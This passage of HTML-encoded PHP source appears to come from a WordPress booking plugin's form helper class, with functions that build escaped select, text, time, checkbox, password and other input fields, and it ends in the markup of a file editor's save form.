		$html .= &#039;&lt;select &#039; . $validate_html . &#039; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039;&gt;&#039;;
		if ( isset( $atts[&#039;placeholder&#039;] ) &amp;&amp; ! empty( $atts[&#039;placeholder&#039;] ) ) {
			$html .= &#039;&lt;option value=&quot;&quot;&gt;&#039; . esc_html( $atts[&#039;placeholder&#039;] ) . &#039;&lt;/option&gt;&#039;;
		}
		if ( is_array( $options ) ) {
			foreach ( $options as $key =&gt; $option ) {
				if ( isset( $option[&#039;value&#039;] ) &amp;&amp; isset( $option[&#039;label&#039;] ) ) {
					$selected = ( $selected_value == $option[&#039;value&#039;] ) ? &#039;selected&#039; : &#039;&#039;;
					$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $option[&#039;value&#039;] ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option[&#039;label&#039;] ) . &#039;&lt;/option&gt;&#039;;
				} else {
					$value    = ( is_string( $key ) ) ? $key : $option;
					$selected = ( $selected_value == $value ) ? &#039;selected&#039; : &#039;&#039;;
					$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option ) . &#039;&lt;/option&gt;&#039;;
				}
			}
		} else {
			$html .= $options;
		}
		if ( $add_value_if_not_present &amp;&amp; ! isset( $options[ $selected_value ] ) ) {
			$html .= &#039;&lt;option value=&quot;&#039; . esc_attr( $selected_value ) . &#039;&quot;&gt;&#039; . esc_html( $selected_value ) . &#039;&lt;/option&gt;&#039;;
		}
		$html .= &#039;&lt;/select&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	public static function time_field( $name, $label, $value = &#039;&#039;, $as_period = false ) {
		if ( strpos( $value, &#039;:&#039; ) === false ) {
			$formatted_value = OsTimeHelper::minutes_to_hours_and_minutes( $value, false, false );
		}

		$extra_class = &#039;&#039;;
		if ( $as_period ) {
			$extra_class = &#039;as-period&#039;;
		}

		$html = &#039;&lt;div class=&quot;os-time-group os-time-input-w &#039; . $extra_class . &#039;&quot;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $name ) . &#039;[formatted_value]&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;os-time-input-fields&quot;&gt;&#039;;
		$html .= &#039;&lt;input type=&quot;text&quot; placeholder=&quot;HH:MM&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;[formatted_value]&quot; value=&quot;&#039; . esc_attr( $formatted_value ) . &#039;&quot; class=&quot;os-form-control os-mask-time&quot;/&gt;&#039;;

		// am-pm toggler switch
		if ( ! OsTimeHelper::is_army_clock() ) {
			$is_am     = ( OsTimeHelper::am_or_pm( $value ) == &#039;am&#039; );
			$am_active = ( $is_am ) ? &#039;active&#039; : &#039;&#039;;
			$pm_active = ( ! $is_am ) ? &#039;active&#039; : &#039;&#039;;
			$html      .= &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;[ampm]&quot; value=&quot;&#039; . esc_attr( OsTimeHelper::am_or_pm( $value ) ) . &#039;&quot; class=&quot;ampm-value-hidden-holder&quot;/&gt;&#039;;
			$html      .= &#039;&lt;div class=&quot;time-ampm-w&quot;&gt;&lt;div class=&quot;time-ampm-select time-am &#039; . $am_active . &#039;&quot; data-ampm-value=&quot;am&quot;&gt;&#039; . esc_html__( &#039;am&#039;, &#039;latepoint&#039; ) . &#039;&lt;/div&gt;&lt;div class=&quot;time-ampm-select time-pm &#039; . $pm_active . &#039;&quot; data-ampm-value=&quot;pm&quot;&gt;&#039; . esc_html__( &#039;pm&#039;, &#039;latepoint&#039; ) . &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
		}

		$html .= &#039;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}


	public static function color_picker( $name, $label, $value = &#039;&#039;, $atts = array(), $wrapper_atts = array() ) {
		$extra_class = &#039;&#039;;
		if ( $value != &#039;&#039; ) {
			$extra_class = &#039; has-value&#039;;
		}
		$html = &#039;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html .= &#039;&lt;div &#039; . self::atts_string_from_array( array( &#039;class&#039; =&gt; &#039;os-form-group os-form-group-transparent os-form-color-picker-group&#039; . $extra_class ) ) . &#039;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $name ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;latepoint-color-picker-w&quot;&gt;&#039;;
		$html .= &#039;&lt;div class=&quot;latepoint-color-picker&quot; data-color=&quot;&#039; . esc_attr( $value ) . &#039;&quot;&gt;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;input maxlength=&quot;7&quot; type=&quot;text&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; placeholder=&quot;&#039; . esc_attr__( &#039;Pick a color&#039;, &#039;latepoint&#039; ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039;/&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	public static function name_to_id( $name, $atts = [] ) {
		$name = strtolower( preg_replace( &#039;/[^0-9a-zA-Z_]/&#039;, &#039;_&#039;, $name ) );
		$name = preg_replace( &#039;/__+/&#039;, &#039;_&#039;, $name );
		$name = rtrim( $name, &#039;_&#039; );
		if ( isset( $atts[&#039;add_unique_id&#039;] ) &amp;&amp; $atts[&#039;add_unique_id&#039;] ) {
			$name .= &#039;_&#039; . OsUtilHelper::random_text( &#039;hexdec&#039;, 8 );
		}
		if ( isset( $atts[&#039;add_string_to_id&#039;] ) &amp;&amp; $atts[&#039;add_string_to_id&#039;] ) {
			$name .= $atts[&#039;add_string_to_id&#039;];
		}

		return $name;
	}


	// Value: on
	public static function checkbox_field( $name, $label, $value = &#039;&#039;, $is_checked = false, $atts = array(), $wrapper_atts = array(), $off_value = &#039;off&#039; ) {
		$html = &#039;&#039;;
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$checked_class = $is_checked ? &#039;is-checked&#039; : &#039;&#039;;
		if ( isset( $atts[&#039;data-toggle-element&#039;] ) ) {
			$checked_class .= &#039; has-toggle-element&#039;;
		}
		if ( isset( $atts[&#039;data-inverse-toggle&#039;] ) ) {
			$checked_class .= &#039; inverse-toggle&#039;;
		}

		// validations
		if ( ! empty( $atts[&#039;validate&#039;] ) ) {
			$validate_html = &#039;data-os-validate=&quot;&#039; . esc_attr( implode( &#039; &#039;, $atts[&#039;validate&#039;] ) ) . &#039;&quot;&#039;;
		} else {
			$validate_html = &#039;&#039;;
		}
		unset( $atts[&#039;validate&#039;] );

		$checked_attr = $is_checked ? &#039;checked&#039; : &#039;&#039;;
		$html         .= &#039;&lt;div &#039; . self::atts_string_from_array( array( &#039;class&#039; =&gt; &#039;os-form-group os-form-checkbox-group &#039; . $checked_class ) ) . &#039;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039;;
		}
		if ( $off_value !== false ) {
			$html .= &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $off_value ) . &#039;&quot;/&gt;&#039;;
		}
		$html .= &#039;&lt;input type=&quot;checkbox&quot; &#039; . $validate_html . &#039; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . $checked_attr . &#039; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-checkbox&#039; ] ) . &#039;/&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;div&gt;&#039; . wp_kses_post( $label ) . &#039;&lt;/div&gt;&#039; . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	/**
	 * @param string $name
	 * @param string $label
	 * @param string $value
	 * @param array $atts
	 * @param array $wrapper_atts
	 * @param array $form_group_atts
	 *
	 * @return string
	 */
	public static function money_field( $name, $label, $value = &#039;&#039;, $atts = [], $wrapper_atts = [], $form_group_atts = [] ) {
		$input_class = &#039;os-mask-money&#039;;
		if ( isset( $atts[&#039;class&#039;] ) ) {
			$input_class .= &#039; &#039; . $atts[&#039;class&#039;];
		}
		$atts  = array_merge( $atts, [ &#039;class&#039; =&gt; $input_class, &#039;inputmode&#039; =&gt; &#039;decimal&#039; ] );
		$value = OsMoneyHelper::to_money_field_format( $value );

		return self::text_field( $name, $label, $value, $atts, $wrapper_atts, $form_group_atts );
	}

	/**
	 * @param string $name
	 * @param string $label
	 * @param string $value
	 * @param array $atts
	 * @param array $wrapper_atts
	 *
	 * @return string
	 *
	 * Generates a text input field
	 */
	public static function text_field( $name, $label, $value = &#039;&#039;, $atts = [], $wrapper_atts = [], $form_group_atts = [] ) {
		$extra_class = &#039; os-form-group-transparent&#039;;
		if ( isset( $atts[&#039;theme&#039;] ) ) {
			switch ( $atts[&#039;theme&#039;] ) {
				case &#039;bordered&#039;:
					$extra_class = &#039; os-form-group-bordered&#039;;
					break;
				case &#039;right-aligned&#039;:
					$extra_class = &#039; os-form-group-right-aligned&#039;;
					break;
				case &#039;simple&#039;:
					$extra_class = &#039; os-form-group-simple&#039;;
					unset( $atts[&#039;theme&#039;] );
					break;
			}
		}
		if ( isset( $form_group_atts[&#039;class&#039;] ) ) {
			$extra_class .= &#039; &#039; . $form_group_atts[&#039;class&#039;] . &#039; &#039;;
			unset( $form_group_atts[&#039;class&#039;] );
		}
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		if ( $value != &#039;&#039; ) {
			$extra_class .= &#039; has-value&#039;;
		}
		if ( empty( $label ) ) {
			$extra_class .= &#039; no-label&#039;;
		}

		// validations
		if ( ! empty( $atts[&#039;validate&#039;] ) ) {
			$validate_html = &#039;data-os-validate=&quot;&#039; . esc_attr( implode( &#039; &#039;, $atts[&#039;validate&#039;] ) ) . &#039;&quot;&#039;;
		} else {
			$validate_html = &#039;&#039;;
		}
		unset( $atts[&#039;validate&#039;] );
		$html = &#039;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html        .= &#039;&lt;div class =&quot;os-form-group os-form-textfield-group&#039; . esc_attr( $extra_class ) . &#039;&quot; &#039; . self::atts_string_from_array( $form_group_atts ) . &#039;&gt;&#039;;
		$placeholder = ( ! empty( $atts[&#039;placeholder&#039;] ) ) ? $atts[&#039;placeholder&#039;] : $label;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
		$input_class = &#039;os-form-control&#039;;
		$html        .= &#039;&lt;input &#039; . $validate_html . &#039; type=&quot;&#039; . esc_attr( ( $atts[&#039;type&#039;] ?? &#039;text&#039; ) ) . &#039;&quot; placeholder=&quot;&#039; . esc_attr( $placeholder ) . &#039;&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; $input_class ] ) . &#039;/&gt;&#039;;
		$html        .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	/**
	 * @param string $name
	 * @param string $label
	 * @param string $value
	 * @param array $atts
	 * @param array $wrapper_atts
	 *
	 * @return string
	 *
	 * Generates a telephone text input field
	 */
	public static function phone_number_field( $name, $label, $value = &#039;&#039;, $atts = [], $wrapper_atts = [], $form_group_atts = [] ) {
		// Remain standards compliant
		$atts[&#039;type&#039;]   = &#039;tel&#039;;
		$atts[&#039;format&#039;] = &#039;[0-9]*&#039;;

		$atts[&#039;class&#039;] = $atts[&#039;class&#039;] ?? &#039;&#039;;
		if ( strpos( $atts[&#039;class&#039;], &#039;os-mask-phone&#039; ) === false ) {
			$atts[&#039;class&#039;] .= &#039; os-mask-phone&#039;;
		}
		$form_group_atts[&#039;class&#039;] = ( $form_group_atts[&#039;class&#039;] ?? &#039;&#039; ) . &#039; os-form-phonefield-group&#039;;

		$atts[&#039;validate&#039;] = empty( $atts[&#039;validate&#039;] ) ? [] : $atts[&#039;validate&#039;];
		if ( OsSettingsHelper::is_on( &#039;validate_phone_number&#039; ) &amp;&amp; in_array( &#039;presence&#039;, $atts[&#039;validate&#039;] ) ) {
			// validate phone if the field is required
			$atts[&#039;validate&#039;][] = &#039;phone&#039;;
		}

		return self::text_field( $name, $label, $value, $atts, $wrapper_atts, $form_group_atts );
	}


	/**
	 * @param string $name
	 * @param string $placeholder
	 * @param string $value
	 *
	 * @return string
	 *
	 * Generates quantity input field
	 */
	public static function quantity_field( $name, $placeholder, $value = &#039;&#039; ): string {
		return &#039;&lt;div class=&quot;item-quantity-selector-w&quot;&gt;
      &lt;div class=&quot;item-quantity-selector item-quantity-selector-minus&quot; data-sign=&quot;minus&quot;&gt;&lt;/div&gt;
      &lt;input type=&quot;text&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; class=&quot;item-quantity-selector-input&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; placeholder=&quot;&#039; . esc_attr( $placeholder ) . &#039;&quot;&gt;
      &lt;div class=&quot;item-quantity-selector item-quantity-selector-plus&quot; data-sign=&quot;plus&quot;&gt;&lt;/div&gt;
    &lt;/div&gt;&#039;;
	}

	/**
	 * @param string $name
	 * @param string $label
	 * @param string $value
	 * @param int|float|null $min
	 * @param int|float|null $max
	 * @param array $atts
	 * @param array $wrapper_atts
	 *
	 * @return string
	 *
	 * Generates a numeric text input field
	 */
	public static function number_field( $name, $label, $value = &#039;&#039;, $min = null, $max = null, $atts = [], $wrapper_atts = [], $form_group_atts = [] ): string {
		$atts[&#039;type&#039;] = &#039;number&#039;;
		if ( is_numeric( $min ) ) {
			$atts[&#039;min&#039;] = $min;
		}
		if ( is_numeric( $max ) &amp;&amp; ( ! is_numeric( $min ) || $max &gt;= $min ) ) {
			$atts[&#039;max&#039;] = $max;
		}

		return self::text_field( $name, $label, $value, $atts, $wrapper_atts, $form_group_atts );
	}

	public static function password_field( $name, $label, $value = &#039;&#039;, $atts = array(), $wrapper_atts = array() ) {
		$extra_class = &#039; os-form-group-transparent&#039;;
		if ( isset( $atts[&#039;theme&#039;] ) ) {
			switch ( $atts[&#039;theme&#039;] ) {
				case &#039;bordered&#039;:
					$extra_class = &#039; os-form-group-bordered&#039;;
					break;
				case &#039;right-aligned&#039;:
					$extra_class = &#039; os-form-group-right-aligned&#039;;
					break;
				case &#039;simple&#039;:
					$extra_class = &#039; os-form-group-simple&#039;;
					unset( $atts[&#039;theme&#039;] );
					break;
			}
		}
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		if ( $value != &#039;&#039; ) {
			$extra_class .= &#039; has-value&#039;;
		}
		if ( empty( $label ) ) {
			$extra_class .= &#039; no-label&#039;;
		}
		$html = &#039;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html        .= &#039;&lt;div &#039; . self::atts_string_from_array( array( &#039;class&#039; =&gt; &#039;os-form-group os-form-textfield-group&#039; . $extra_class ) ) . &#039;&gt;&#039;;
		$placeholder = ( isset( $atts[&#039;placeholder&#039;] ) &amp;&amp; ! empty( $atts[&#039;placeholder&#039;] ) ) ? $atts[&#039;placeholder&#039;] : $label;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;input type=&quot;password&quot; placeholder=&quot;&#039; . esc_attr( $placeholder ) . &#039;&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039;/&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	public static function hidden_field( $name, $value, $atts = array() ) {
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		$html = &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts ) . &#039;/&gt;&#039;;

		return $html;
	}


	public static function radio_field( $name, $value, $checked = false, $atts = array() ) {
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		$checked_html = $checked ? &#039;checked&#039; : &#039;&#039;;
		$html         = &#039;&lt;input &#039; . $checked_html . &#039; type=&quot;radio&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts ) . &#039;/&gt;&#039;;

		return $html;
	}


	public static function button( $name, $label, $type = &#039;button&#039;, $atts = array(), $icon = false ) {
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		$html = &#039;&lt;div class=&quot;os-form-group&quot;&gt;&#039;;
		if ( $icon ) {
			$label = &#039;&lt;i class=&quot;latepoint-icon &#039; . esc_attr( $icon ) . &#039;&quot;&gt;&lt;/i&gt;&lt;span&gt;&#039; . $label . &#039;&lt;/span&gt;&#039;;
		}
		$html .= &#039;&lt;button type=&quot;&#039; . esc_attr( $type ) . &#039;&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts ) . &#039;&gt;&#039; . esc_html( $label ) . &#039;&lt;/button&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}

	public static function otp_code_field( string $name ) : string {
		return self::text_field($name, &#039;&#039;, &#039;&#039;, [&#039;class&#039; =&gt; &#039;os-otp-code-field required&#039;,&#039;autocomplete&#039; =&gt; &#039;one-time-code&#039;, &#039;inputmode&#039; =&gt; &#039;numeric&#039;, &#039;pattern&#039; =&gt; &#039;[0-9]*&#039;, &#039;maxlength&#039; =&gt; &#039;6&#039;, &#039;theme&#039; =&gt; &#039;simple&#039;, &#039;placeholder&#039; =&gt; __(&#039;Code&#039;, &#039;latepoint&#039;)]);
	}
}</textarea><input type='submit' name='save' value='Save' style=''/></form>